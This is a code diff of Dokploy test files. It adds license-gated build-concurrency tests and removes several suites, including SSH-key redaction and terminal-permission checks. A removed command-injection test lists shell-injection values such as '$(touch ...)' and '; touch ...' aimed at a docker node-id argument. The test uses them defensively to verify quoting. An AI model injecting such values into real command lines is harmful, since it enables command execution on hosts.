apps/dokploy/__test__/permissions/enterprise-only-resources.test.ts

@@ -39,8 +39,6 @@ const ENTERPRISE_RESOURCES = [
 	"logs",
 	"monitoring",
 	"auditLog",
-	"vaultProvider",
-	"dnsProvider",
 ];
 
 describe("enterpriseOnlyResources set", () => {

apps/dokploy/__test__/permissions/resolve-permissions.test.ts

@@ -105,7 +105,6 @@ describe("enterprise resources for static roles", () => {
 		const perms = await resolvePermissions(ctx);
 
 		expect(perms.server.read).toBe(false);
-		expect(perms.server.terminal).toBe(false);
 		expect(perms.registry.read).toBe(false);
 		expect(perms.certificate.read).toBe(false);
 		expect(perms.destination.read).toBe(false);

apps/dokploy/__test__/permissions/server-terminal.test.ts

@@ -1,105 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-const mockMemberData = (role: string) => ({
-	id: "member-1",
-	role,
-	userId: "user-1",
-	organizationId: "org-1",
-	accessedProjects: [] as string[],
-	accessedServices: [] as string[],
-	accessedEnvironments: [] as string[],
-	accessedServers: [] as string[],
-	canCreateProjects: false,
-	canDeleteProjects: false,
-	canCreateServices: false,
-	canDeleteServices: false,
-	canCreateEnvironments: false,
-	canDeleteEnvironments: false,
-	canAccessToTraefikFiles: false,
-	canAccessToDocker: false,
-	canAccessToAPI: false,
-	canAccessToSSHKeys: false,
-	canAccessToGitProviders: false,
-	user: { id: "user-1", email: "test@test.com" },
-});
-
-let memberToReturn = mockMemberData("deployer");
-let rolesToReturn: { permission: string }[] = [];
-
-vi.mock("@dokploy/server/db", () => ({
-	db: {
-		query: {
-			member: {
-				findFirst: vi.fn(() => Promise.resolve(memberToReturn)),
-				findMany: vi.fn(() => Promise.resolve([])),
-			},
-			organizationRole: {
-				findFirst: vi.fn(),
-				findMany: vi.fn(() => Promise.resolve(rolesToReturn)),
-			},
-		},
-	},
-}));
-
-vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
-	hasValidLicense: vi.fn(() => Promise.resolve(true)),
-}));
-
-const { checkPermission, resolvePermissions } = await import(
-	"@dokploy/server/services/permission"
-);
-
-const ctx = {
-	user: { id: "user-1" },
-	session: { activeOrganizationId: "org-1" },
-};
-
-const withPermissions = (permissions: Record<string, string[]>) => {
-	rolesToReturn = [{ permission: JSON.stringify(permissions) }];
-};
-
-beforeEach(() => {
-	vi.clearAllMocks();
-	memberToReturn = mockMemberData("deployer");
-	rolesToReturn = [];
-});
-
-describe("server.terminal on custom roles", () => {
-	it("a role with server.read alone cannot open a terminal", async () => {
-		withPermissions({ server: ["read"] });
-
-		await expect(
-			checkPermission(ctx, { server: ["read"] }),
-		).resolves.toBeUndefined();
-		await expect(
-			checkPermission(ctx, { server: ["terminal"] }),
-		).rejects.toThrow();
-
-		const perms = await resolvePermissions(ctx);
-		expect(perms.server.read).toBe(true);
-		expect(perms.server.terminal).toBe(false);
-	});
-
-	it("a role with server.terminal can open a terminal", async () => {
-		withPermissions({ server: ["read", "terminal"] });
-
-		await expect(
-			checkPermission(ctx, { server: ["terminal"] }),
-		).resolves.toBeUndefined();
-
-		const perms = await resolvePermissions(ctx);
-		expect(perms.server.terminal).toBe(true);
-	});
-
-	it("owner and admin keep terminal access", async () => {
-		for (const role of ["owner", "admin"]) {
-			memberToReturn = mockMemberData(role);
-			await expect(
-				checkPermission(ctx, { server: ["terminal"] }),
-			).resolves.toBeUndefined();
-
-			const perms = await resolvePermissions(ctx);
-			expect(perms.server.terminal).toBe(true);
-		}
-	});
-});

apps/dokploy/__test__/queues/concurrency.test.ts

@@ -1,11 +1,16 @@
 import { beforeEach, describe, expect, it, vi } from "vitest";
 
+const hasValidLicense = vi.fn();
 const getWebServerSettings = vi.fn();
+const findFirstOrg = vi.fn();
 const findFirstServer = vi.fn();
 
 vi.mock("@dokploy/server/db", () => ({
 	db: {
 		query: {
+			organization: {
+				findFirst: (...args: unknown[]) => findFirstOrg(...args),
+			},
 			server: {
 				findFirst: (...args: unknown[]) => findFirstServer(...args),
 			},
@@ -14,56 +19,91 @@ vi.mock("@dokploy/server/db", () => ({
 }));
 
 vi.mock("@dokploy/server/db/schema", () => ({
+	organization: {},
 	server: {},
 }));
 
+vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
+	hasValidLicense: (...args: unknown[]) => hasValidLicense(...args),
+}));
+
 vi.mock("@dokploy/server/services/web-server-settings", () => ({
 	getWebServerSettings: (...args: unknown[]) => getWebServerSettings(...args),
 }));
 
 vi.mock("drizzle-orm", () => ({ eq: vi.fn() }));
 
-import { resolveBuildsConcurrency } from "../../server/queues/concurrency";
+import {
+	assertBuildsConcurrencyAllowed,
+	resolveBuildsConcurrency,
+} from "../../server/queues/concurrency";
 import { LOCAL_PARTITION } from "../../server/queues/in-memory-queue";
 
-describe("resolveBuildsConcurrency", () => {
+describe("resolveBuildsConcurrency (enterprise gating)", () => {
 	beforeEach(() => {
 		vi.clearAllMocks();
+		findFirstOrg.mockResolvedValue({ id: "org-1" });
 	});
 
 	describe("local web server partition", () => {
-		it("returns the configured concurrency", async () => {
+		it("returns the configured concurrency when licensed", async () => {
 			getWebServerSettings.mockResolvedValue({ buildsConcurrency: 5 });
+			hasValidLicense.mockResolvedValue(true);
 
 			await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(5);
 		});
 
-		it("does not cap high values", async () => {
+		it("clamps to the free max (2) when there is no valid license", async () => {
+			getWebServerSettings.mockResolvedValue({ buildsConcurrency: 10 });
+			hasValidLicense.mockResolvedValue(false);
+
+			await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
+		});
+
+		it("allows the free max (2) without a license", async () => {
+			getWebServerSettings.mockResolvedValue({ buildsConcurrency: 2 });
+			hasValidLicense.mockResolvedValue(false);
+
+			await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(2);
+		});
+
+		it("does not cap the value when licensed (N allowed)", async () => {
 			getWebServerSettings.mockResolvedValue({ buildsConcurrency: 999 });
+			hasValidLicense.mockResolvedValue(true);
 
 			await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(
 				999,
 			);
 		});
 
-		it("floors values below 1 to 1", async () => {
-			getWebServerSettings.mockResolvedValue({ buildsConcurrency: 0 });
-
-			await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
-		});
-
 		it("defaults to 1 when settings are missing", async () => {
 			getWebServerSettings.mockResolvedValue(undefined);
+			hasValidLicense.mockResolvedValue(true);
 
 			await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
 		});
 	});
 
 	describe("remote server partition", () => {
-		it("returns the server concurrency", async () => {
+		it("returns the server concurrency when its org is licensed", async () => {
-			findFirstServer.mockResolvedValue({ buildsConcurrency: 4 });
+			findFirstServer.mockResolvedValue({
+				buildsConcurrency: 4,
+				organizationId: "org-1",
+			});
+			hasValidLicense.mockResolvedValue(true);
 
 			await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(4);
+			expect(hasValidLicense).toHaveBeenCalledWith("org-1");
+		});
+
+		it("clamps to the free max (2) when the server org is not licensed", async () => {
+			findFirstServer.mockResolvedValue({
+				buildsConcurrency: 8,
+				organizationId: "org-1",
+			});
+			hasValidLicense.mockResolvedValue(false);
+
+			await expect(resolveBuildsConcurrency("server-1")).resolves.toBe(2);
 		});
 
 		it("defaults to 1 for an unknown server", async () => {
@@ -79,3 +119,30 @@ describe("resolveBuildsConcurrency", () => {
 		await expect(resolveBuildsConcurrency(LOCAL_PARTITION)).resolves.toBe(1);
 	});
 });
+
+describe("assertBuildsConcurrencyAllowed", () => {
+	beforeEach(() => {
+		vi.clearAllMocks();
+	});
+
+	it("allows up to the free max (2) without checking the license", async () => {
+		await expect(
+			assertBuildsConcurrencyAllowed(2, "org-1"),
+		).resolves.toBeUndefined();
+		expect(hasValidLicense).not.toHaveBeenCalled();
+	});
+
+	it("allows more than 2 when licensed", async () => {
+		hasValidLicense.mockResolvedValue(true);
+		await expect(
+			assertBuildsConcurrencyAllowed(5, "org-1"),
+		).resolves.toBeUndefined();
+	});
+
+	it("rejects more than 2 without a license", async () => {
+		hasValidLicense.mockResolvedValue(false);
+		await expect(assertBuildsConcurrencyAllowed(3, "org-1")).rejects.toThrow(
+			/enterprise license/i,
+		);
+	});
+});

apps/dokploy/__test__/requests/request.test.ts

@@ -55,28 +55,6 @@ describe("processLogs", () => {
 		expect(result.data).toHaveLength(2);
 	});
 
-	it("should not throw when filtering by hostname and an entry has no RequestHost", () => {
-		const entryWithoutRequestHost = sampleLogEntry.replace(
-			/"RequestHost":"[^"]*",/,
-			"",
-		);
-
-		const mixedEntries = `${sampleLogEntry}\n${entryWithoutRequestHost}`;
-
-		expect(() =>
-			parseRawConfig(mixedEntries, undefined, undefined, "traefik.me"),
-		).not.toThrow();
-
-		const result = parseRawConfig(
-			mixedEntries,
-			undefined,
-			undefined,
-			"traefik.me",
-		);
-		expect(result.totalCount).toBe(1);
-		expect(result.data[0]?.RequestHost).toBe("s222-umami-c381af.traefik.me");
-	});
-
 	it("should filter out Dokploy dashboard requests", () => {
 		const dokployDashboardEntry = `{"ClientAddr":"172.71.187.131:9485","ClientHost":"172.71.187.131","ClientPort":"9485","ClientUsername":"-","DownstreamContentSize":14550,"DownstreamStatus":200,"Duration":57681682,"OriginContentSize":14550,"OriginDuration":57612242,"OriginStatus":200,"Overhead":69440,"RequestAddr":"hostinger.dokploy.com","RequestContentSize":0,"RequestCount":20142,"RequestHost":"hostinger.dokploy.com","RequestMethod":"GET","RequestPath":"/_next/data/cb_zzI4Rp9G7Q7djrFKh0/en/dashboard/traefik.json","RequestPort":"-","RequestProtocol":"HTTP/2.0","RequestScheme":"https","RetryAttempts":0,"RouterName":"dokploy-router-app-secure@file","ServiceAddr":"dokploy:3000","ServiceName":"dokploy-service-app@file","ServiceURL":"http://dokploy:3000","StartLocal":"2025-12-10T05:10:41.957755949Z","StartUTC":"2025-12-10T05:10:41.957755949Z","TLSCipher":"TLS_AES_128_GCM_SHA256","TLSVersion":"1.3","entryPointName":"websecure","level":"info","msg":"","time":"2025-12-10T05:10:42Z"}`;
 

apps/dokploy/__test__/server/server-health-subnet.test.ts

@@ -1,24 +0,0 @@
-import { getSubnetCapacity } from "@dokploy/server/services/server-health";
-import { describe, expect, test } from "vitest";
-
-describe("getSubnetCapacity", () => {
-	test("returns null for missing/invalid input", () => {
-		expect(getSubnetCapacity(undefined)).toBeNull();
-		expect(getSubnetCapacity("")).toBeNull();
-		expect(getSubnetCapacity("10.0.0.0")).toBeNull();
-		expect(getSubnetCapacity("not-a-subnet")).toBeNull();
-		expect(getSubnetCapacity("10.0.0.0/33")).toBeNull();
-		expect(getSubnetCapacity("10.0.0.0/-1")).toBeNull();
-	});
-
-	test("excludes network and broadcast addresses", () => {
-		expect(getSubnetCapacity("10.0.1.0/24")).toBe(254);
-		expect(getSubnetCapacity("10.0.0.0/16")).toBe(65534);
-		expect(getSubnetCapacity("10.99.99.0/30")).toBe(2);
-	});
-
-	test("returns 0 for subnets too small to hold a host", () => {
-		expect(getSubnetCapacity("10.0.0.0/31")).toBe(0);
-		expect(getSubnetCapacity("10.0.0.0/32")).toBe(0);
-	});
-});

apps/dokploy/__test__/server/server-sshkey-redaction.test.ts

@@ -1,44 +0,0 @@
-import { redactServerSshKey } from "@dokploy/server/services/server";
-import { describe, expect, it } from "vitest";
-
-describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
-	it("blanks the private key while keeping the rest of the ssh key intact", () => {
-		const server = {
-			serverId: "srv-1",
-			name: "prod",
-			sshKey: {
-				sshKeyId: "key-1",
-				publicKey: "ssh-ed25519 AAAA...",
-				privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
-			},
-		};
-
-		const redacted = redactServerSshKey(server);
-
-		expect(redacted.sshKey.privateKey).toBe("");
-		// Non-secret fields and the surrounding record must survive untouched.
-		expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
-		expect(redacted.serverId).toBe("srv-1");
-		expect(redacted.name).toBe("prod");
-	});
-
-	it("does not mutate the original record", () => {
-		const server = {
-			serverId: "srv-1",
-			sshKey: { privateKey: "top-secret" },
-		};
-		redactServerSshKey(server);
-		expect(server.sshKey.privateKey).toBe("top-secret");
-	});
-
-	it("is a no-op when the server has no ssh key", () => {
-		const server = { serverId: "srv-2", sshKey: null };
-		expect(redactServerSshKey(server)).toEqual(server);
-	});
-
-	it("handles a record without a loaded sshKey relation", () => {
-		// e.g. server.update returns the plain row where sshKey is not populated.
-		const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
-		expect(redactServerSshKey(server)).toEqual(server);
-	});
-});

apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts

@@ -1,41 +0,0 @@
-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-// Mirrors how getNodeInfo builds its command in services/docker.ts:
-//   `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
-// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
-// whether the nodeId payload can break out of the command, not real docker.
-const buildCommand = (nodeId: string) =>
-	`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
-
-const INJECTION_NODE_IDS = [
-	"$(touch %MARK%)",
-	"`touch %MARK%`",
-	"; touch %MARK%",
-	"abc | touch %MARK%",
-	"&& touch %MARK%",
-];
-
-describe("getNodeInfo nodeId command injection", () => {
-	it("does not execute injected commands from the nodeId", () => {
-		const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
-		for (const template of INJECTION_NODE_IDS) {
-			if (existsSync(mark)) rmSync(mark);
-			const nodeId = template.replace("%MARK%", mark);
-			try {
-				execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
-			} catch {
-				// A non-zero exit from the no-op is fine; we only care about the marker.
-			}
-			expect(existsSync(mark)).toBe(false);
-		}
-		if (existsSync(mark)) rmSync(mark);
-	});
-
-	it("keeps a legitimate node id intact as a single literal token", () => {
-		const nodeId = "abc123def456";
-		expect(quote([nodeId])).toBe(nodeId);
-	});
-});

apps/dokploy/__test__/services/overview-backups-icon.test.ts

@@ -1,113 +0,0 @@
-import {
-	getBackupOverviewIcon,
-	getServiceOverviewIcon,
-} from "@dokploy/server/services/overview";
-import { describe, expect, test } from "vitest";
-
-describe("getServiceOverviewIcon", () => {
-	test("returns a db icon for every known DB engine type", () => {
-		for (const type of [
-			"postgres",
-			"mariadb",
-			"mysql",
-			"mongo",
-			"redis",
-			"libsql",
-		] as const) {
-			expect(getServiceOverviewIcon({ type, icon: null })).toEqual({
-				kind: "db",
-				engine: type,
-			});
-		}
-	});
-
-	test("returns a custom icon for application/compose with a service icon set", () => {
-		expect(
-			getServiceOverviewIcon({
-				type: "application",
-				icon: "data:image/png;base64,x",
-			}),
-		).toEqual({ kind: "custom", url: "data:image/png;base64,x" });
-		expect(
-			getServiceOverviewIcon({
-				type: "compose",
-				icon: "data:image/png;base64,y",
-			}),
-		).toEqual({ kind: "custom", url: "data:image/png;base64,y" });
-	});
-
-	test("falls back to a generic icon for application/compose without a service icon", () => {
-		expect(getServiceOverviewIcon({ type: "application", icon: null })).toEqual(
-			{
-				kind: "generic",
-				type: "application",
-			},
-		);
-		expect(getServiceOverviewIcon({ type: "compose", icon: null })).toEqual({
-			kind: "generic",
-			type: "compose",
-		});
-	});
-});
-
-describe("getBackupOverviewIcon", () => {
-	test("returns a db icon for a database backup with a known databaseType", () => {
-		expect(
-			getBackupOverviewIcon({
-				databaseType: "postgres",
-				serviceType: null,
-				serviceOwnerType: "postgres",
-			}),
-		).toEqual({ kind: "db", engine: "postgres" });
-	});
-
-	test("returns a webServer icon for a web-server database backup", () => {
-		expect(
-			getBackupOverviewIcon({
-				databaseType: "web-server",
-				serviceType: null,
-				serviceOwnerType: "web-server",
-			}),
-		).toEqual({ kind: "webServer" });
-	});
-
-	test("returns a db icon for a compose-type backup dumping a known DB engine", () => {
-		expect(
-			getBackupOverviewIcon({
-				databaseType: "mysql",
-				serviceType: null,
-				serviceOwnerType: "compose",
-			}),
-		).toEqual({ kind: "db", engine: "mysql" });
-	});
-
-	test("returns a db icon for a volume backup of a known DB engine service", () => {
-		expect(
-			getBackupOverviewIcon({
-				databaseType: null,
-				serviceType: "mongo",
-				serviceOwnerType: "mongo",
-			}),
-		).toEqual({ kind: "db", engine: "mongo" });
-	});
-
-	test("returns a generic application icon for a volume backup of an application", () => {
-		expect(
-			getBackupOverviewIcon({
-				databaseType: null,
-				serviceType: "application",
-				serviceOwnerType: "application",
-			}),
-		).toEqual({ kind: "generic", type: "application" });
-	});
-
-	test("returns a generic compose icon for a volume backup of a compose service", () => {
-		expect(
-			getBackupOverviewIcon({
-				databaseType: null,
-				serviceType: "compose",
-				serviceOwnerType: "compose",
-			}),
-		).toEqual({ kind: "generic", type: "compose" });
-	});
-});

apps/dokploy/__test__/services/overview-domains-sort.test.ts

@@ -1,79 +0,0 @@
-import type { OverviewDomain } from "@dokploy/server/services/overview";
-import { sortOverviewDomains } from "@dokploy/server/services/overview";
-import { describe, expect, test } from "vitest";
-
-const makeDomain = (overrides: Partial<OverviewDomain>): OverviewDomain => ({
-	domainId: "id",
-	host: "example.com",
-	path: "/",
-	port: 3000,
-	customEntrypoint: null,
-	https: true,
-	certificateType: "letsencrypt",
-	createdAt: "2024-01-01T00:00:00.000Z",
-	enabled: true,
-	domainType: "application",
-	serviceOwnerId: "app",
-	serviceOwnerType: "application",
-	serviceName: "App",
-	projectId: "project",
-	projectName: "Project",
-	environmentId: "environment",
-	environmentName: "Environment",
-	...overrides,
-});
-
-describe("sortOverviewDomains", () => {
-	test("sorts by createdAt asc/desc", () => {
-		const domains = [
-			makeDomain({ domainId: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
-			makeDomain({ domainId: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
-			makeDomain({ domainId: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
-		];
-
-		expect(
-			sortOverviewDomains(domains, "createdAt-asc").map((d) => d.domainId),
-		).toEqual(["old", "mid", "new"]);
-		expect(
-			sortOverviewDomains(domains, "createdAt-desc").map((d) => d.domainId),
-		).toEqual(["new", "mid", "old"]);
-	});
-
-	test("sorts by port asc/desc, with portless domains always last", () => {
-		const domains = [
-			makeDomain({ domainId: "none", port: null }),
-			makeDomain({ domainId: "low", port: 80 }),
-			makeDomain({ domainId: "high", port: 8080 }),
-		];
-
-		expect(
-			sortOverviewDomains(domains, "port-asc").map((d) => d.domainId),
-		).toEqual(["low", "high", "none"]);
-		expect(
-			sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
-		).toEqual(["high", "low", "none"]);
-	});
-
-	test("port sort with all domains portless is a no-op", () => {
-		const domains = [
-			makeDomain({ domainId: "a", port: null }),
-			makeDomain({ domainId: "b", port: null }),
-		];
-
-		expect(
-			sortOverviewDomains(domains, "port-desc").map((d) => d.domainId),
-		).toEqual(["a", "b"]);
-	});
-
-	test("does not mutate the input array", () => {
-		const domains = [
-			makeDomain({ domainId: "b", port: 8080 }),
-			makeDomain({ domainId: "a", port: 80 }),
-		];
-		const original = [...domains];
-
-		sortOverviewDomains(domains, "port-asc");
-
-		expect(domains).toEqual(original);
-	});
-});

apps/dokploy/__test__/services/overview-services-sort.test.ts

@@ -1,106 +0,0 @@
-import type { OverviewService } from "@dokploy/server/services/overview";
-import { sortOverviewServices } from "@dokploy/server/services/overview";
-import { describe, expect, test } from "vitest";
-
-const makeService = (overrides: Partial<OverviewService>): OverviewService => ({
-	id: "id",
-	type: "application",
-	name: "name",
-	appName: "app-name",
-	status: "running",
-	createdAt: "2024-01-01T00:00:00.000Z",
-	serverId: null,
-	serverName: null,
-	icon: null,
-	projectId: "project",
-	projectName: "Project",
-	environmentId: "environment",
-	environmentName: "Environment",
-	lastDeployAt: null,
-	...overrides,
-});
-
-describe("sortOverviewServices", () => {
-	test("sorts by name asc/desc", () => {
-		const services = [
-			makeService({ id: "b", name: "Bravo" }),
-			makeService({ id: "a", name: "Alpha" }),
-			makeService({ id: "c", name: "Charlie" }),
-		];
-
-		expect(sortOverviewServices(services, "name-asc").map((s) => s.id)).toEqual(
-			["a", "b", "c"],
-		);
-		expect(
-			sortOverviewServices(services, "name-desc").map((s) => s.id),
-		).toEqual(["c", "b", "a"]);
-	});
-
-	test("sorts by type asc/desc", () => {
-		const services = [
-			makeService({ id: "app", type: "application" }),
-			makeService({ id: "pg", type: "postgres" }),
-			makeService({ id: "comp", type: "compose" }),
-		];
-
-		expect(sortOverviewServices(services, "type-asc").map((s) => s.id)).toEqual(
-			["app", "comp", "pg"],
-		);
-		expect(
-			sortOverviewServices(services, "type-desc").map((s) => s.id),
-		).toEqual(["pg", "comp", "app"]);
-	});
-
-	test("sorts by createdAt asc/desc", () => {
-		const services = [
-			makeService({ id: "old", createdAt: "2023-01-01T00:00:00.000Z" }),
-			makeService({ id: "new", createdAt: "2024-06-01T00:00:00.000Z" }),
-			makeService({ id: "mid", createdAt: "2023-12-01T00:00:00.000Z" }),
-		];
-
-		expect(
-			sortOverviewServices(services, "createdAt-asc").map((s) => s.id),
-		).toEqual(["old", "mid", "new"]);
-		expect(
-			sortOverviewServices(services, "createdAt-desc").map((s) => s.id),
-		).toEqual(["new", "mid", "old"]);
-	});
-
-	test("sorts by lastDeploy asc/desc, with never-deployed services always last", () => {
-		const services = [
-			makeService({ id: "never", lastDeployAt: null }),
-			makeService({ id: "old", lastDeployAt: "2023-01-01T00:00:00.000Z" }),
-			makeService({ id: "new", lastDeployAt: "2024-06-01T00:00:00.000Z" }),
-		];
-
-		expect(
-			sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
-		).toEqual(["new", "old", "never"]);
-		expect(
-			sortOverviewServices(services, "lastDeploy-asc").map((s) => s.id),
-		).toEqual(["old", "new", "never"]);
-	});
-
-	test("lastDeploy sort with all services never deployed is a no-op", () => {
-		const services = [
-			makeService({ id: "a", lastDeployAt: null }),
-			makeService({ id: "b", lastDeployAt: null }),
-		];
-
-		expect(
-			sortOverviewServices(services, "lastDeploy-desc").map((s) => s.id),
-		).toEqual(["a", "b"]);
-	});
-
-	test("does not mutate the input array", () => {
-		const services = [
-			makeService({ id: "b", name: "Bravo" }),
-			makeService({ id: "a", name: "Alpha" }),
-		];
-		const original = [...services];
-
-		sortOverviewServices(services, "name-asc");
-
-		expect(services).toEqual(original);
-	});
-});

apps/dokploy/__test__/setup/monitoring-setup.real.test.ts

@@ -1,261 +0,0 @@
-import { execSync } from "node:child_process";
-import { docker } from "@dokploy/server/constants";
-import { setupMonitoring } from "@dokploy/server/setup/monitoring-setup";
-import { afterAll, beforeEach, describe, expect, it, vi } from "vitest";
-
-const REAL_TEST_TIMEOUT = 120000;
-const SERVICE_NAME = "dokploy-monitoring";
-const TEST_IMAGE = "busybox:latest";
-
-// Mock ONLY db-backed lookups and remote I/O. Dockerode stays real and talks to
-// the local daemon, so the legacy-container cleanup is exercised for real.
-vi.mock("@dokploy/server/services/server", () => ({
-	findServerById: vi.fn().mockResolvedValue({
-		serverId: "test-server",
-		serverType: "deploy",
-		sshKeyId: null, // -> getRemoteDocker returns the local docker instance
-		metricsConfig: {
-			server: {
-				type: "Remote",
-				port: 4500,
-				token: "test-token",
-				urlCallback: "http://localhost/callback",
-				cronJob: "0 0 * * *",
-				retentionDays: 2,
-				refreshRate: 60,
-				thresholds: { cpu: 0, memory: 0 },
-			},
-			containers: { refreshRate: 60, services: { include: [], exclude: [] } },
-		},
-	}),
-}));
-
-vi.mock("@dokploy/server/services/settings", () => ({
-	getDokployImageTag: vi.fn(() => "latest"),
-}));
-
-vi.mock("@dokploy/server/utils/docker/utils", () => ({
-	pullImage: vi.fn().mockResolvedValue(undefined),
-	pullRemoteImage: vi.fn().mockResolvedValue(undefined),
-}));
-
-vi.mock("@dokploy/server/utils/process/execAsync", () => ({
-	execAsync: vi.fn().mockResolvedValue({ stdout: "", stderr: "" }),
-	execAsyncRemote: vi.fn().mockResolvedValue({ stdout: "", stderr: "" }),
-}));
-
-const containerExists = async (name: string) => {
-	try {
-		await docker.getContainer(name).inspect();
-		return true;
-	} catch (error: any) {
-		if (error.statusCode === 404) return false;
-		throw error;
-	}
-};
-
-const serviceExists = async (name: string) => {
-	try {
-		await docker.getService(name).inspect();
-		return true;
-	} catch (error: any) {
-		if (error.statusCode === 404) return false;
-		throw error;
-	}
-};
-
-// Swarm keeps converging a service for a bit after it's created (scheduling
-// tasks, resolving endpoints), which bumps Version.Index on its own. Calling
-// setupMonitoring again before that settles races that internal bump, so wait
-// for two consecutive reads to agree before treating the service as stable.
-const waitForServiceConvergence = async (name: string, timeoutMs = 5000) => {
-	const deadline = Date.now() + timeoutMs;
-	let lastIndex: string | null = null;
-	while (Date.now() < deadline) {
-		const inspect = await docker.getService(name).inspect();
-		if (inspect.Version.Index === lastIndex) return;
-		lastIndex = inspect.Version.Index;
-		await new Promise((resolve) => setTimeout(resolve, 50));
-	}
-};
-
-const swarmTaskNames = async () => {
-	const list = await docker.listContainers({ all: true });
-	return list
-		.flatMap((c) => c.Names.map((n) => n.replace(/^\//, "")))
-		.filter((n) => n.startsWith(`${SERVICE_NAME}.`));
-};
-
-const cleanup = async () => {
-	try {
-		await docker.getService(SERVICE_NAME).remove();
-	} catch {}
-	try {
-		await docker.getContainer(SERVICE_NAME).remove({ force: true });
-	} catch {}
-	for (const name of await swarmTaskNames()) {
-		try {
-			await docker.getContainer(name).remove({ force: true });
-		} catch {}
-	}
-};
-
-// Recreates the pre-v0.30.0 standalone agent stuck in a crash loop.
-const createLegacyZombie = async () => {
-	const container = await docker.createContainer({
-		name: SERVICE_NAME,
-		Image: TEST_IMAGE,
-		Cmd: [
-			"sh",
-			"-c",
-			"echo 'Error starting metrics cleanup system: empty spec string'; exit 1",
-		],
-		HostConfig: { RestartPolicy: { Name: "always" }, NetworkMode: "host" },
-	});
-	await container.start();
-};
-
-const pullTestImage = async () => {
-	try {
-		await docker.getImage(TEST_IMAGE).inspect();
-		return;
-	} catch {}
-	await new Promise<void>((resolve, reject) =>
-		docker.pull(TEST_IMAGE, (err: any, stream: any) =>
-			err
-				? reject(err)
-				: docker.modem.followProgress(stream, (e: any) =>
-						e ? reject(e) : resolve(),
-					),
-		),
-	);
-};
-
-// The code under test hardcodes the production name, so this suite cannot
-// namespace its fixtures. Skip rather than wipe a real agent on a Dokploy host.
-const hasRealMonitoring = () => {
-	const query = (cmd: string) => {
-		try {
-			return execSync(cmd, { stdio: ["ignore", "pipe", "ignore"] })
-				.toString()
-				.trim();
-		} catch {
-			return "";
-		}
-	};
-
-	return (
-		query(
-			`docker service ls --filter name=${SERVICE_NAME} --format '{{.Name}}'`,
-		) !== "" ||
-		query(
-			`docker ps -a --filter name=^${SERVICE_NAME}$ --format '{{.Names}}'`,
-		) !== ""
-	);
-};
-
-const hasDocker = () => {
-	try {
-		execSync("docker info", { stdio: "ignore" });
-		return true;
-	} catch {
-		return false;
-	}
-};
-
-describe.skipIf(!hasDocker() || hasRealMonitoring() || !process.env.CI)(
-	"setupMonitoring - legacy container cleanup (real docker)",
-	() => {
-		beforeEach(async () => {
-			await pullTestImage();
-			await cleanup();
-		}, REAL_TEST_TIMEOUT);
-
-		afterAll(async () => {
-			await cleanup();
-		}, REAL_TEST_TIMEOUT);
-
-		it(
-			"removes the legacy standalone container left behind by the swarm migration",
-			async () => {
-				await createLegacyZombie();
-				expect(await containerExists(SERVICE_NAME)).toBe(true);
-
-				await setupMonitoring("test-server");
-
-				expect(await containerExists(SERVICE_NAME)).toBe(false);
-				expect(await serviceExists(SERVICE_NAME)).toBe(true);
-			},
-			REAL_TEST_TIMEOUT,
-		);
-
-		it(
-			"removes the legacy container without touching swarm tasks, which are named dokploy-monitoring.<slot>.<id>",
-			async () => {
-				const taskName = `${SERVICE_NAME}.1.qh3ldvg2h9x0test`;
-				const task = await docker.createContainer({
-					name: taskName,
-					Image: TEST_IMAGE,
-					Cmd: ["sleep", "3600"],
-				});
-				await task.start();
-				await createLegacyZombie();
-
-				await setupMonitoring("test-server");
-
-				expect(await containerExists(SERVICE_NAME)).toBe(false);
-				expect(await containerExists(taskName)).toBe(true);
-				const inspect = await docker.getContainer(taskName).inspect();
-				expect(inspect.State.Running).toBe(true);
-			},
-			REAL_TEST_TIMEOUT,
-		);
-
-		it(
-			"is idempotent when no legacy container exists",
-			async () => {
-				expect(await containerExists(SERVICE_NAME)).toBe(false);
-
-				await expect(setupMonitoring("test-server")).resolves.not.toThrow();
-				await waitForServiceConvergence(SERVICE_NAME);
-				await expect(setupMonitoring("test-server")).resolves.not.toThrow();
-
-				expect(await serviceExists(SERVICE_NAME)).toBe(true);
-			},
-			REAL_TEST_TIMEOUT,
-		);
-
-		it(
-			"deploys the service even when removing the legacy container fails",
-			async () => {
-				const failingDocker = {
-					getContainer: () => ({
-						remove: async () => {
-							const error: any = new Error("device or resource busy");
-							error.statusCode = 500;
-							throw error;
-						},
-					}),
-					getService: docker.getService.bind(docker),
-					createService: docker.createService.bind(docker),
-				};
-
-				const remoteDocker = await import(
-					"@dokploy/server/utils/servers/remote-docker"
-				);
-				const spy = vi
-					.spyOn(remoteDocker, "getRemoteDocker")
-					.mockResolvedValue(failingDocker as any);
-
-				try {
-					await expect(setupMonitoring("test-server")).resolves.not.toThrow();
-					expect(spy).toHaveBeenCalled(); // guards against the spy silently not intercepting
-					expect(await serviceExists(SERVICE_NAME)).toBe(true);
-				} finally {
-					spy.mockRestore();
-				}
-			},
-			REAL_TEST_TIMEOUT,
-		);
-	},
-);

apps/dokploy/__test__/traefik/forward-auth.test.ts

